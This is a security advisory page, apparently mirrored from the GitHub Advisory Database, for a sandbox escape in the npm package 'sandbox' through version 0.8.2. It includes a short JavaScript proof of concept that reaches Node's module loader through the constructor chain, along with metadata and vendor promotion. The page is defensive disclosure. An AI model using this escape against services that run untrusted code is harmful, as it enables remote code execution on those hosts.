Sandbox Breakout / Arbitrary Code Execution in sandbox
All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
Proof of concept
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | sandbox | >= 0.0.0 | no fix |
References
- Weakness (CWE)
-- Platform
- npm
- Package
sandbox- Disclosed
- 02.09.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-fm4j-4xhm-xpwx - CC BY 4.0
Vulnerability history: sandbox
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 09.2020 09.2020
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- Medium 1
Disclosures per year
- 2020: 2
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
-
Sandbox Breakout / Arbitrary Code Execution in sandbox this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.